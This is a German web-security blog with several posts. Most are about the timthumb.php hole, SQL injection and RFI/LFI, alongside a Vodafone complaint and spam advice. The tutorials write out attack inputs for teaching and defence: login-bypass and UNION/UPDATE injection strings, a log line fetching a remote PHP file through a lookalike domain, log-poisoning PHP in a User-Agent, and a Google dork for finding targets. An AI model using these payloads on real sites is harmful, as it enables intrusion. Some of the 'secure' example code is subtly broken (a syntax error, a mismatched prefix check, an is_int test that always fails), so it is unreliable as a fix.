“Ich bin botfrei”: Eine Initiative mit der cyscon GmbHKommentar hinterlassen

“Bleib’ sauber!”

Vielleicht wissen einige aufmerksame Leser schon, dass die Experten der Provider-Initiative botfrei.de zu einem kreativen Wettstreit aufgerufen haben. Bei diesem lässt sich John Wart natürlich eine Teilnahme nicht verweigern. Zusammen mit der cyscon GmbH haben wir dazu ein kleines Projekt online gestellt.

Unter www.ichbinbotfrei.de könnt ihr präsentieren, wie botfrei ihr wirklich seid. Informiert euch, überprüft euren PC, um nachhaltig eine Verbreitung von paraistärer Software zu verhindern.
“Bleib’ sauber” ist nicht nur ein Motto, sondern gehört mittlerweile zur Grundphilosophie, mit der im Internet Informationen weitergereicht werden.

WICHTIG: ichbinbotfrei.de hält eine Verknüpfung zu Facebook bereit. Die cyscon GmbH versichert:

“Neben der für die Bereitstellung des Dienstes notwendigen Daten (Name, Webseite / Facebook-Profil, Benutzer-ID, Benutzer-Bild) werden keine weiteren Daten durch uns gespeichert oder weiterverarbeitet. Der Erhebung wird über die Facebook-Api durch den Nutzer zugestimmt und kann jederzeit bei uns widerrufen werden.”

Zuviel Text? Keine Angst. Wer mal ein praktisches Anwendungsbeispiel sehen möchte, hat hier die Gelegenheit unseren Gesellschafter Matthias Simonis “in Aktion” zu erleben ;)

Selbstverständlich lässt euch da keiner alleine. Bei Fragen stehen wir euch zur Verfügung.

Sicherheitslücke in timthumb.php: WordPress an mehreren Stellen betroffen.Kommentar (1)

Gestern ist ein Kunde von uns über die Datei timthumb.php angegriffen worden. Die Datei wird zum Bearbeiten von Bildern verwendet und ist in einigen Plugins und Themes mit enthalten.

Die Datei ermöglicht es unter anderem auch Bilder von externen Quellen direkt für den eigenen Blog zu bearbeiten. Dabei werden allerdings nur bestimmte Quellen erlaubt. Der Quellcode sieht so aus:

$allowedSites = array (
    'flickr.com',
    'picasa.com',
    'blogger.com',
    'wordpress.com',
    'img.youtube.com',
);
...
if (stristr($url_info['host'], $site) !== false) {
    $isAllowedSite = true;
}

Diese Abfrage ist leider Lückenhaft. Denn hier wird nur überprüft ob der Host die Domains enthält nicht aber ob es wirklich diese Domain ist. Daher können Angreifer ganz einfach beliebige Dateien angeben, indem Sie Subdomains wie ‘picasa.com.boehsedomain.de’ verwenden. Diese enthält ‘picasa.com’ und wäre somit eine Erlaubte Seite.

Ein Angriff sieht in den Zugriffs-Logs für euren Webspace so aus:

x - - [xx/xxx/xxxx:xx:xx:xx -xxx] "GET /wp-content/themes/Envisioned/timthumb.php?src=http://picasa.com.boehsedomain.de/boehsedatei.php HTTP/1.1" 400 340 "-" "MSIE 7.0"

Wichtig: Damit kann ein Angreifer beliebige Dateien auf euren Webspace laden und somit die volle Kontrolle übernehmen. Ob Ihr bereits betroffen seit, findet Ihr heraus indem Ihr eine detaillierte Forensik auf eurem Webspace durchführt. Sucht nach den entsprechenden Aufrufen in euren Zugriff-Logs und dann nach Dateien die zu diesem Zeitpunkt auf euren Webspace geladen wurden.

Was also tun?

Die Lösung des Problems ist einfach. Prüft ob in eurer WordPress-Installation die Datei timthumb.php enthalten ist und ersetzt diese durch die aktuellste. Finden könnten Ihr die Datei zum Beispiel mit SSH und diesem Befehl:

find . -name timthumb.php

Achtung: Die Datei kann auch thumb.php oder thumbnail.php heißen. Wir stellen hierzu ein Bash-Script bereit, dass die Anfälligen timthumb-Dateien durch die Aktuelle ersetzt: http://der-webwart.de/files/timthumbfix.sh

Wechselt dann in die entsprechenden Verzeichnisse und ersetzt die Datei durch die aktuellste. Die aktuellste Version findet Ihr hier: TimThumb by Ben Gillbanks and Mark Maunder

Ich kann das nicht tun.

Kein Problem, dafür sind wir ja da! Solltet Ihr beim ersetzen Probleme haben oder nicht sicher sein, dass Ihr bereits angegriffen wurdet, dann schreibt uns an support@der-webwart.de. Wir machen auf eurem Webspace eine detaillierte Forensik, finden heraus ob Ihr betroffen seit und Lösen das Problem.

Bei unserem Kunden konnten wir den Angriff sehr schnell erkennen und aufhalten. Wir beobachten den Webspace dauerhaft und sind damit immer auf dem Laufenden, was dort gerade passiert!

Denn: Wir machen und halten sauber!

Erfahrungsbericht: Kundenkommunikation mit VodafoneKommentar hinterlassen

Wenn es ums Geld geht, dann wird entweder schnell die Hand aufgehalten oder eben nicht!

Eigentlich bin ich mit Vodafone immer zufrieden gewesen und es gab nie Schwierigkeiten. Doch was nach dem Kauf eines Prepaid-Surfsticks von Vodafone passiert ist, ist einfach nur grotesk gewesen.

Eine kurze Einführung

Den besagten Stick habe ich kurz vor Weihnachten gekauft, um die Zeit zwischen dem Anschlusswechsel zu überbrücken. Der Vertrag, den ich dazu unterschreiben musste, beinhaltete die Benutzung von 30 Tagen zu einem fixem Angebot. Die Hardware war innerhalb dieses Zeitraums zurückzugeben, was ich auch getan habe – sogar weit vor Fristende. Der Vertrag enthielt dazu auch eine sogenannte Try’n'Buy-Klausel, die genau diese Forderung enthielt. Damit kündigte ich formell den Vertrag und  dieser besaß dann nur für einen Monat Gültigkeit.

Ende Februar musste ich dann feststellen, dass mir ein Fixpreis von meinem Konto abgezogen worden ist, den ich mir nicht erklären konnte. In der Annahme, dass ich mich eventuell “verklickt” habe, bot mir der Kundenservice aus Kulanz die Rückerstattung an. Bis dato hatte ich noch nicht bemerkt, dass ich in einen 24-Monatevertrag von “Vodafone WebSessions geraten” bin. Erst mit der erneuten Abbuchung des Fixpreises im März, ahnte ich nichts Gutes.

Hilfe von der richtigen Stelle

Im Anschluss gab es ein langes Hin und Her mit dem Vodafone Shop, dem Kundenservice und mir. Letzterer konnte mir nur die Auskunft über einen gültigen Vertrag geben, den ich aber nie so unterzeichnet habe. Der Shop zeigte sich auch im Folgenden gering bis gar nicht koorperativ. Ich wurde immer wieder bei meinem zahlreichen Besuchen vertröstet oder die entsprechenden Maßnahmen waren unvollständig (z. B. angeforderte Reklamation).

Letztendlich habe ich mich aufgrund eines guten Tipps an den “WebWart” gewendet, da ich mit meinen eigenen Bemühungen nur auf Widerstand gestoßen bin. Gemeinsam kamen wir zu dem Schluss, dass nur ein direktes, postalisches Schreiben Abhilfe schaffen würde. Mittlerweile habe ich auch herausbekommen, dass der Kundenservice von Vodafone bereits mit dem Shop kommuniziert hatte. Leider hatten aber auch sie keinen Erfolg und nachdem das Stichwort “Provision” fiel, war mir dann Einiges klar.

Das 1. Anschreiben verlief  zunächst erfolglos. Der Serice-Profi von Der WebWart bemühte sich anschließend noch einmal mit einer letzten Korrespondenz an Vodafone. Mittlerweile hatte man dann wohl herausbekommen, dass von dem Shop gewisse Informationen zurückgehalten wurden oder man einfach nicht bereit gewesen sei, die Provision fallen zu lassen. Ich konnte dann endlich aufatmen, als der Vertag als nichtig anerkannt wurde und mir die Kosten zurückgebucht werden.

Ich möchte mich noch einmal sehr herzlich bei Herrn Letzel bedanken, dass er mir aus der Misere helfen konnte und jederzeit für mich ansprechbar gewesen ist. Ohne die Schnittstelle via Service-Profi wäre wohl noch immer ein fester Betrag für Nichts monatlich von meinem Konto abgegangen.

Anonymer Gastautor

SQL-Injection – Was ist das schon wieder?Kommentar (1)

SQL ist die Sprache, die man zur Abfrage der meisten Datenkbanken verwendet. Zum Beispiel für MySQL- oder MSSQL-Datenbanken. Injection bedeutet in diesem Fall, dass euer Skript dazu gebracht wird, eine Abfrage an die Datenbank zu senden, die so nicht vorgesehen war.

Wie funktioniert das?

Ähnlich wie bei dem Artikel zu Remote-File-Inclusion / Local-File-Inclusion – Warum ich? liegt auch dieser Angriffsart immer ein Programmierfehler zu Grunde. Auch hier werden Benutzereingaben nicht genügend überprüft und einfach weiter verarbeitet. Dabei werden 3 Angriffe am häufigsten genutzt:

  • Die Umgehung von Passwortabfragen.
  • Das Abfragen von Daten, die im Skript nicht vorgesehen sind.
  • Das Einfügen von Daten in die Datenbank.

Diese Arten erklären wir anschließend genauer.

Wie umgehen die Angreifer Passwortabfragen?

Hier wird auf Grund von sehr häufig gemachten Fehlern einfach nur ausprobiert. Ein Seitenbetreiber erstellt sich ein eigenes Login-System und schreibt die zugehörigen Scripte selbst. Auf einer Seite kann man sich anmelden und dort muss man Benutzername und Passwort angeben. Das Script sieht in unserem Beispiel etwa so aus:

$result = mysql_query("SELECT * FROM user WHERE username = '".$_POST['username']."' AND password = '".$_POST['password']."';");

if (mysql_num_rows($result)>0) {
   $loggedIn = true;
} 

Die SQL-Abfrage sähe dann im Script wie folgt aus:

SELECT * FROM user WHERE username = 'username' AND password = 'password';

Das funktioniert natürlich, aber eben nur dann, wenn der Benutzer auch wirklich das eingibt, was das Script erwartet: Ein Passwort. Ein Angreifer wird euch diesen Gefallen aber nicht tun. Der Angreifer schreibt in das Passwort-Feld einfach einen Teil einer SQL-Abfrage:

' OR ''='

Wenn wir jetzt einmal den PHP-Übersetzer spielen, kommt in diesem Fall folgende SQL-Abfrage dabei raus:

SELECT * FROM user WHERE username = 'username' AND password = '' OR ''='';

Der Login funktioniert also, obwohl das Passwort definitiv falsch ist.

Wie fragen Angreifer Daten ab, die ich im Script gar nicht ausgebe?

Hier nutzt man die Sicherheitslücke um Daten auszulesen, welche vom Script selbst nicht ausgegeben werden sollten. Dies kann bespielsweise eine einfache Schleife sein, die in einem Shopsystem genutzt werden könnte:

$sql = "select outputtext from test where id=".$id;
$result = mysql_query($sql, $sqlHandle);
if (!$result) { echo(mysql_error()); }
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
    echo($row['outputtext']."\n");
}

Der Aufruf sieht im Browser dazu folgendermaßen aus:

http://meineseite.tld/categorie.php?id=1

So sollten alle Artikel aus der entsprechenden Kategorie mit der ID “1″ ausgegeben werden. Die SQL-Ausgabe kann der Angreifer dennoch dazu nutzen, weitere Daten auszuspähen. Dazu fügt er einfach eine ‘UNION SELECT’-Abfrage über die URL mit ein. Ein Angriff sieht an dieser Stelle dann so aus:

http://meineseite.tld/categorie.php?id=1
+UNION+SELECT+information_schema.TABLES.TABLE_NAME+FROM
+information_schema.TABLES

Diese Veränderung würde dazu führen, dass in der Ausgabe alle Tabellen, die in der Datenbank angelegt wurden, ausgegeben werden. Für einen Angreifer eine wichtige Information, denn so kann er sich über die Tabellennamen zu den Feldnamen und dann zu den Feldinhalten hinarbeiten. Diese könnten unter anderem die Benutzernamen der angemeldeten Kunden in einem Shopsystem sein. Wenn fataler Weise die Passwörter im Klartext in der Datenbank stehen, könnte der Angreifer sogar auf die gesamten Login-Daten zugreifen.

Die Informationen können dann vom Angreifer dazu genutzt werden, Ihren Kunden erheblichen Schaden zuzufügen. Viele Anwender verwenden leider auf den meisten Webseiten das gleiche Passwort. So kann man mit den ausgespähten Zugangsdaten von eurer Webseite, auch eine Anmeldung bei Facebook, Amazon, eBay und vielen anderen erfolgreich durchführen.

An dieser Stelle möchte ich nochmal auf unseren Passwort-Artikel verweisen.

Wie fügt man denn Daten in ein Script ein, bei dem das gar nicht vorgesehen ist?

Dieser Angriff ist am auffälligsten, weil dadurch tatsächlich die Darstellung eurer Webseiten verändert werden kann. Als Sicherheitslücke nehmen wir wieder das Script aus dem vorangegangenem Artikel. Statt dem ‘UNION SELECT’ setzen wir dort nun einfach ein ‘UDATE’ ein. Der Angriff sieht schließlich so aus:

http://meineseite.tld/categorie.php?id=1
+UPDATE+TEST+SET+outputtext+=+'BÖSERCODE'

Damit wird der Schadcode direkt in den Seiteninhalt eingefügt, der von euren Scripten ausgelesen und angezeigt wird. Der nächste Besucher bekommt diesen Schadcode also schon mit angezeigt und ausgeliefert. Dabei kann es sich um eine Weiterleitung zu einer Spam-Seite handeln, aber auch um die direkte Verbreitung von Schadsoftware (Viren). Dieses Jahr gab es bereits einen großen Fall, indem eine solche Lücke ausgenutzt wurde: LizaMoon.

Unser Kollege von ‘blog.hersec.de‘ hat dazu einen ausführlicheren Artikel geschrieben.

Und wie schütze ich mich davor?

Grundlage für diese Angriffe ist immer die nicht vorhandene oder unzureichende Prüfung der Benutzereingaben. Bei dem 2. Script wird zum Beispiel nur eine ID erwartet, die in den meisten Fällen ausschließlich aus einer Ganzzahl besteht. Genau das kann man im Script auch abfragen:

if (is_int($id)) {

Die Datenbankabfrage sollte dann nur abgesetzt werden, wenn es sich auch tatsächlich um eine Ganzzahl handelt. Darüber hinaus sollte kein String, so wie er vom Benutzer übergeben wird, direkt in der Datenbankabfrage genutzt werden. Nutzt also vor jeder Datenbankabfrage und für jedes Feld die PHP-Funktion ‘mysql_escape_string’. Diese Funktion sorgt dafür, dass alle Eingaben, durch den Benutzer auch als String in der Datenbankabfrage landen und nicht als SQL-Befehle.

Aus

'+SELECT

wird dann das escapte

\' SELECT

Das passiert beim CMS aber nicht!

Doch! Wie bereits in dem Artikel zu Remote-File-Inclusion und Local-File-Inclusion erklärt, sind auch CMS immer wieder anfällig gegen SQL-Injection-Angriffe. An dieser Stelle rezitiere ich einfach den anderen Artikel:

Bei der Nutzung von einem CMS ist es daher unbedingt notwendig, Folgendes zu beachten:

  • Sicherheitsmaßnahmen (Dateirechte anpassen, Passwortschutz auf bestimmte Verzeichnisse) die vom Hersteller empfohlen werden, durchführen.
  • Regelmäßig und in kurzen Abständen überprüfen ob es eine Aktualisierung für das genutzte CMS gibt und diese einspielen.
  • Regelmäßig überprüfen ob die eigene Webseite kompromittiert wurde. Hier kann man zum Beispiel täglich kontrollieren welche Dateien sich auf dem Webspace geändert haben.

Viele CMS-Hersteller bieten als Hilfe dazu entsprechende News-Seiten an. Dort werden neue Versionen veröffentlicht, aktuelle Sicherheitslücken beschrieben und auch Gegenmaßnahmen erklärt. Wenn Ihr CMS-Hersteller so etwas nicht anbietet, ist es eine Überlegung wert, das CMS zu wechseln.

Ich verstehe es nicht.

Kein Problem, dafür gibt es ja uns. Wenn Ihr befürchtet, dass Eure Scripte unsicher sind oder Ihr das bereits wisst, dann wendet Euch einfach an uns. Wir helfen Euch die Lücken zu finden und entsprechend abzusichern.

WordPress Plugin-TrojanerKommentar hinterlassen

++Eilmeldung++

Wie ich soeben via  WordPress.org in Erfahrung bringen konnte, sind drei Plugins von WordPress mit einem ‘backdoor include‘ bösartig verändert worden. Laut wordpress.org habe sich der Vorfall am vergangen Tag, also am 21.06.2011 ereignet. Man kann aber davon ausgehen, dass mindestens in einem Zeitfenster von 48 Stunden der Plugin-Container von WordPress mit diesen schadhaften Dateien gefüttert worden ist. Bei den Plugins handelt es sich um sogenannte add-in Module zur Quellcode-Implementierung.

Mit diesen Modulen lassen sich einfach Funktionalitäten, wie z. B. ein Social Bookmark Widget oder ein Blog-to-iPhone-App einfügen, ohne selbst den Code einzupflegen. Warum ist ein ‘backdoor-include’ gefährlich? Wie der Name schon verrät, öffnet sich hier für den Hacker eine Hintertür. Diese kann sich durch eine ziemlich ähnliche URL zu eurem WP-Blog auszeichnen, z. B. euerblog.de/wp-admin. Der Angreifer hat dann Zugriff auf das Backend und kann nach Belieben verfahren – Ihr nicht mehr.

Welche Plugins sind betroffen?

- AddThis
- WPtouch
- W3 Total Cache

Laut nakedsecurity ist ein Angriff mithilfe dieser Plugins vor allem dann wirksam, wenn

- Eine WordPress-Installation auf Eurem eigenen Server läuft.
- Ihr eines der oben genannten Plugins in den letzten 48 h via wordpress.org  heruntergeladen habt.
- Ihr diese Plugins noch verwendet und bisher kein Update durchgeführt habt.

Die neuesten Versionen der Plugins sind von WordPress nun gesichert worden. Ein einfaches Update genügt und Ihr steht wieder auf der sicheren Seite. WordPress.org hat ebenfalls alle Passwörter zurücksetzen lassen. Diejenigen, die einen Account besitzen, sollten von der Passwort-Zurücksetzen-Funktion Gebrauch machen, wenn Ihr nicht schon dazu aufgefordert worden seid. Als WP-Blogbesitzer ändert Ihr am besten auch eure Passwörter. Natürlich darf an dieser Stelle der wichtige Hinweis von uns zur Passwortsicherheit nicht fehlen.

++Eilmeldung++

Wo kommt der ganze Spam her?Kommentare (2)

Spam ist ein weit verbreitetes Thema, das wohl auch nie ein Ende finden wird. Solange es das Internet gibt, gibt es auch Spam.

Aber was ist Spam? Viele denken hier sicher an E-Mails mit Inhalten wie ‘Viagra’ oder Porno-Werbung. Das ist aber nur die halbe Wahrheit. Ich zitiere hier aus der Wikipedia:

Als Spam oder Junk (englisch für ‚Abfall‘ oder ‚Plunder‘) werden unerwünschte, in der Regel auf elektronischem Weg übertragene Nachrichten bezeichnet, die dem Empfänger unverlangt zugestellt werden und häufig werbenden Inhalt haben.

Abgesehen von den oben genannten Formen, ist also jede E-Mail als Spam einzustufen, die ich als Empfänger nicht haben möchte. Denn im Internet gilt: Der Empfänger entscheidet, ob eine E-Mail Spam ist oder nicht. Beispiel: Nicht der Versender hat einen [Kein Spam]-Knopf, sondern eben der Empfänger einen [Spam]-Knopf. Gut, dass man als Empfänger etwas gegen die ungewollten E-Mails unternehmen kann.

Wie kommen die an meine E-Mail-Adresse?

Viele werden sich genau diese Frage stellen und genau diese Frage ist am schwierigsten zu beantworten! Nutzt man doch meist nur eine E-Mail-Adresse und ist mit dieser auf allen anderen Webseiten angemeldet. Wenn dann eine E-Mail ankommt und man von dem Absender noch nie etwas gehört hat, ist es schwer zu sagen, woher er diese Adresse hat.

Hierzu gibt es eine einfache Lösung: Löst euch von euren festen E-Mail-Adressen. Im lokalen Teil einer E-Mail-Adresse kann man so viele wertvolle Informationen angeben. Dazu machen wir uns die sogenannte Catch-All-Funktion vieler Provider zu Nutze. Für dieses Vorgehen wird benötigt

  • eine eigene Domain und
  • einen Provider, bei dem man eine Catch-All-E-Mail-Adresse anlegen kann.

Bei Anmeldungen auf Webseiten gebt Ihr dann zukünftig E-Mail-Adressen in folgender Form an (Beispielanmeldung bei Facebook): ‘facebook.com_18062011@eureDomain.tld’

Alle E-Mails, die jetzt an diese E-Mail-Adresse gesendet werden, sind auf diese Anmeldung bei Facebook zurückzuführen. Wenn Ihr also eine E-Mail erhaltet, die nicht von Facebook kommt, dann wurde eure Adresse weitergegeben. Was Ihr mit dieser Information anfangt, ist natürlich Euch überlassen. Als Erstes würde ich hier ein Gespräch mit dem Webseitenbetreiber vorschlagen.

Und was kann ich gegen Spam machen?

Ihr werdet Euch wundern, man kann sehr viel dagegen tun. Die oberste Devise lautet: Löscht keine E-Mails.

Meldet euch ab

Wenn Ihr E-Mails von einem Betreiber erhaltet, bei dem Ihr euch angemeldet habt, solltet Ihr als Erstes prüfen, ob ein Abmeldelink vorhanden ist. Wenn das der Fall ist und die Abmeldung nicht zu kompliziert ist, dann nutzt diese Funktion.

Wichtig: Meldet Euch nur von Newslettern ab, die Ihr auch wirklich abboniert habt. Alle anderen Newsletter sind als Spam einzustufen und an dieser Stelle sollte man den Spammern nicht entgegen kommen, sondern es ihnen so schwer wie möglich machen. Habt Ihr nun eine echte Spam-E-Mail in eurem Posteingang, dann macht keinen Fehler. Klickt nicht in auf Links in der E-Mail und antwortet nicht darauf. Beides kann dem Absender Informationen dazu geben, ob eure Adresse aktiv ist oder nicht. Und was werden die mit echten Adressen tun? Richtig: Es wird noch mehr Spam an diese Adresse verschickt.

Trainiert euren Spam-Filter

Wenn Ihr eine E-Mail in eurem Posteingang habt, die Ihr als Spam einstuft, dann löscht diese nicht einfach. Trainiert genau mit diesen E-Mails euren Spamfilter. Das macht man in den meisten Fällen einfach über die Verschiebung in den vorhandenen Spam-Ordner. Manche Provider stellen hierfür einen eigenen Button zur Verfügung. Was viele hier nicht wissen:
Bei vielen Providern löst dieser Vorgang nicht nur die Verschiebung in den Spam-Filter aus, sondern auch eine Beschwerde-Meldung an den Provider, von dessen Infrastruktur die Spam-Mail versendet wurde.

Der Provider kann dann selbst entscheiden, was er mit dieser Information macht. Er wird bei einer gewissen Anzahl an Beschwerden mit dem Kunden in Kontakt treten, um die Beschwerderate zu verringern und mögliche Blacklistings zu verhindern. Ein Provider, welcher an dieser Stelle nicht reagiert, wird auf Dauer Schwierigkeiten bekommen.

Nutzt Blacklisten

Bei vielen Providern hat man die Möglichkeit Adress-Blacklisten zu pflegen. Solltet Ihr hier an einen sehr hartnäckigen Kandidaten geraten, der aber immer von einer E-Mail-Adresse schreibt, könnt Ihr diesen auf eure Blacklist setzen. Diese Listen bieten meist auch die Option, eine sogenannte Wild-Card zu nutzen. So kann man, wenn man zu viele Spam-E-Mails von verschiedenen Adressen, z. B.  facebook.com erhält, die gesamte Domain in die Blacklist aufnehmen. Das sieht dann so aus ‘*@facebook.com’, wobei der Stern für ‘beliebig’ steht.

Meldet Spam

Wenn alles nichts bringt, kann man auch eine direkte Beschwerde an die sogenannte Abuse-Abteilung des jeweiligen Providers schreiben. Da dieser aber nicht immer einfach herauszufinden ist, gibt es auch hierzu Hilfe, zum Beispiel mittels SpamCop.

Nach einer Registrierung kann man die Spam-Mail an SpamCop melden. SpamCop selbst ermittelt dann zu allen Beteiligten an dieser Spam-Mail den jeweiligen Provider und richtet sich mit einer Beschwerde an ihn. Zu den Spam-Mails zählen alle IP-Adressen, die im E-Mail-Header beteiligt sind, die genutzt werden und alle URL, die in der E-Mail beworben werden.

Ihr erkennt also, dass es eine Menge zu beachten gibt. Falls dann immer noch eine Spam-Mail bei Euch durchkommen sollte, fragt John Wart und er holt den Gewinn bei Mr. Cheng direkt ab, denn …

mich interessiert’s!

Remote-File-Inclusion / Local-File-Inclusion – Warum ich?Kommentare (3)

Die Begriffe Remote-File-Inclusion und Local-File-Inclusion beschreiben Standard-Angriffsarten auf verschiedene Websysteme. Über diese Angriffe wird Quellcode in ein Websystem eingeschleust, der  nicht dafür vorgesehen ist, auf dem Webserver eigene Befehle auszuführen.

Wie geht das?

Remote-File-Inclusion (RFI)

Als Grundlage für einen dieser Angriffe liegt immer der gleiche Programmierfehler vor. Eine Variable, die über die URL oder einer anderen Anfrageart übergeben wird, wird dazu verwendet den Inhalt für die Darstellung der Webseite dynamisch nachzuladen. In der Eigenprogrammierung ist ein Standardfall, zum Beispiel die Übergabe der aktuellen Seite in der URL.

Beispiele:

http://example.com/index.php?page=aktuelleSeite
http://example.com/index.php?id=aktuelleSeite

Diese Variable wird dann dazu genutzt, den Inhalt für die Seite dynamisch vom Webspace zu laden. Das erfolgt dann auf solche Weise

...
include($_GET['page'].'php');
...

oder auch so

...
$page = $_GET['page'];
include($page.'php');
...

Hier kann nun ein Angreifer einen beliebigen Dateinamen mitgeben, den das Skript ohne Prüfung ebenfalls includiert. Ein Angriff würde bei diesem Beispiel folgendermaßen aussehen

http://example.com/index.php?page=http://der-webwart.de/blog/impressum/?

und dazu führen, dass auf Ihrer Webseite der Inhalt von unserem Impressum angezeigt wird. Auf die gleiche Weise kann ein Angreifer auch eine böse Textdatei. Die kann ein PHP-Dateimanager (PHP-Shell) sein, der dann auf Ihrem Webserver ausgeführt wird. Der Angreifer hat damit vollen Zugriff auf Ihren Webspace.

Jetzt könnte man denken: Ok, dann prüfe ich einfach, ob die Datei bei mir auf dem Server/Webspace existiert oder schalte die entsprechenden PHP-Variablen ab, die verhindern, dass externe Inhalte includiert werden können. Das wäre wie folgt unter PHP4 ‘allow_url_fopen = off’ und unter PHP5 ‘allow_url_include = off’ möglich. Es ist natürlich generell zu empfehlen, immer mit der neuesten PHP-Version zu arbeiten.

Local-File-Inclusion (LFI)

Das behebt das Problem aber nur zum Teil. RFI-Angriffe wären damit tatsächlich verhindert, was aber noch möglich ist, sind LFI-Angriffe. Dabei legt der Angreifer den Schadcode in verschiedenen Dateien auf Ihrem Server ab. Es gibt ein paar Dateien, die Angaben vom Besucher der Webseite direkt übernehmen. Dazu gehören zum Beispiel die Apache-Access-Logs. In diesen wird meistens mitprotokolliert, was der Besucher vom Server angefragt hat, mit welchem Browser (User-Agent) er arbeitet und woher (->Referer) er kommt.

Alle diese Angaben kann der Besucher aber auch selbst bestimmen. So ist es möglich, dass auch im User-Agent der PHP-Quellcode mitgegeben werden kann. Einfach ändern kann man diese Angaben beispielsweise mit dem Firefox-Plugin ‘Modify Headers’. In meinem Beispiel schreibe ich in den User-Agent nun ‘<?php echo ‘test’; ?>’. Das steht dann später in den Access-Logs so drin:

x.x.x.x - - [09/Jun/2011:12:16:45 +0200] "GET/x.php HTTP/1.1" 200 456 x.x "-" "" "-"

Ruft man das angegebene Skript nun wie folgt auf

http://example.com/index.php?page=/var/log/apache2/access.log

wird der dort mitgegebene PHP-Code ausgeführt. Der Angreifer kann hier nun einen beliebigen PHP-Code mitsenden. Zum Beispiel könnte er mit einem Befehl erst einmal einen PHP-Dateimanager auf dem Webspace ablegen, um dann wiederum einfach und komfortabel auf dem Webspace arbeiten zu können.

Warum ich?

Einige werde sich jetzt fragen, warum ich? Ich habe mir hier doch nur eine eigene, private und selbst geschriebene PHP-Seite erstellt. Warum greift man mich denn an?

Das ist sehr einfach zu beantworten: Bei den meisten Angriffen im Internet geht es nicht gezielt darum, dem Webseitenbetreiber zu schaden. Vielmehr will man den Besuchern des Betreibers schaden. Ein Angreifer kann jetzt auf der betroffenen Seite Schadcode verbreiten, eine Phishing-Seite bereitsstellen oder Spam-Emails versenden. All dies dient nur seinem Zweck und hat nichts mit einer persönlichen oder geschäftlichen Abneigung gegenüber dem Seitenbetreiber zu tun.

Und wie bin ich ins Visier der Angreifer geraten?

Die Angreifer können bequem nach Ihren Opfern suchen. In dem hier ausgeführten Beispiel wird immer die Variable $_GET['page'] verwendet. Diese wird in einigen Internet-Tutorials verwendet und ist damit ein guter Anhaltspunkt bei der Opfersuche. Die Variable ist bei einem Besuch Ihrer Webseite im Browser zu sehen und auch in den entsprechenden Links hinterlegt. Google erkennt ebenfalls diese Variable und indexiert die URL genau so.

In der Google-Suchmaschine kann man dann gezielt danach suchen. Hier ist nicht nur die Eingabe von Suchbegriffen möglich, die dann im Inhalt der Seite gesucht werden, sondern auch das gezielte Suchen nach bestimmten URL-Bestandteilen. Der Angreifer kann also vorher bei Google folgendes eingeben:

inurl:'index.php?page='

Als Ergebnis erhält er viele Internet-Seiten, die genau diese Variable verwenden. Durch Ausprobieren, findet der Angreifer dann die unsicheren Seiten heraus und kann diese nun angreifen.

Und wie sichere ich mich jetzt dagegen ab?

In der Eigenprogrammierung ist es das A und O, dass alle Eingaben, die vom Benutzer angegeben und im Skript verwendet werden, entsprechend geprüft werden. Im Falle einer PHP-Seite mit einer fixen Anzahl an dynamisch zu ladenden Seiten, ist die sicherste Variante der ‘switch’:

$page = $_GET['page'];
switch($page) {
    case 'kontakt': include('contact.php');
                    break;
    case 'impressum': include('impressum.php');
                      break;
   default: include('home.php');
}

Damit können auch wirklich nur Inhalte geladen werden, die vom Programmierer vorgesehen sind. Im Falle einer nicht vorhersehbaren Anzahl an dynamisch zu ladenden Seiten, kann man folgende Punkte beachten:

  • Ein bestimmtes Muster vorgeben, dass die Seitennamen erfüllen müssen.
  • Alle Seiten nur aus einem bestimmten Ordner laden.
  • Nur lokale Seiten zulassen.

In der Verarbeitung könnte das dann folgendermaßen aussehen:

if (file_exists('pages/'.$page.'.php');) {
    if ((substr($page, 0, 5) == 'page.') &&
        (preg_match('/^[a-z]+$/', substr($page, 6)))) {
        include('pages/'.$page.'.php');
    } else {
        include('pages/page.home.php');
    }
} else {
    include('pages/page.home.php');
}

So wird überprüft, ob die Datei lokal existiert, ob die ersten 5 Zeichen ‘pages.’ entsprechen und ob die restlichen Zeichen ab Stelle 6 nur kleine Buchstaben sind. Damit kann man keine Sonderzeichen mehr mit angeben.

Bin ich sicher, wenn ich ein CMS nutze?

Ganz klar: Nein. Auch in Content Management Systemen gibt es immer wieder Sicherheitslücken. Wie viele das teilweise sind, kann man in einer zentralen Datenbank, wie zum Beispiel der Exploit-Database nachprüfen. Hier tauchen auch immer wieder RFI und LFI-Lücken auf.

Bei der Nutzung von einem CMS ist es daher unbedingt notwendig, Folgendes zu beachten:

  • Sicherheitsmaßnahmen (Dateirechte anpassen, Passwortschutz auf bestimmte Verzeichnisse) die vom Hersteller empfohlen werden, durchführen.
  • Regelmäßig und in kurzen Abständen überprüfen ob es eine Aktualisierung für das genutzte CMS gibt und diese einspielen.
  • Regelmäßig überprüfen ob die eigene Webseite kompromittiert wurde. Hier kann man zum Beispiel täglich kontrollieren welche Dateien sich auf dem Webspace geändert haben.

Viele CMS-Hersteller bieten als Hilfe dazu entsprechende News-Seiten an. Dort werden neue Versionen veröffentlicht, aktuelle Sicherheitslücken beschrieben und auch Gegenmaßnahmen erklärt. Wenn Ihr CMS-Hersteller so etwas nicht anbietet, ist es eine Überlegung wert, das CMS zu wechseln.

Das ist mir alles viel zu kompliziert!

Wer sich damit gar nicht beschäftigen will oder kann, der ist bei uns genau richtig aufgehoben. Wir bieten genau diesen Service an. Wir sichern Ihre CMS-Installation grundsätzlich ab, machen regelmäßig die Aktualisierungen für Sie, stellen Lösungen bereit, wenn Ihr CMS-Hersteller noch nicht reagiert hat und machen Ihren Webspace wieder sauber, wenn es schon zu spät ist, denn …

uns interessiert’s!

Sicheres PasswortmanagementKommentare (4)

Absolute Sicherheit gibt es nie, aber mit  Sicherheit sollte sich jeder von Euch bemühen, auf der sicheren Seite zu stehen. So oft, wie ich jetzt das Wort “sicher” wiederholt habe, geschieht es wohl auch mit den Passwörtern im Alltag. Angefangen bei  Facebook, meinVZ oder dem Online-Banking. Nicht das es schwer fällt,  sich ein neues Passwort auszudenken, sondern vielmehr es sich auch zu merken. Denn es irgendwo auf einem Zettel schriftlich zu hinterlegen oder gar an Dritte weitergeben soll man es ja auch nicht. Ich  stelle euch deswegen heute den sichereren Weg zum effektiven Passwortmanagement vor, denn…

mich interessiert’s!

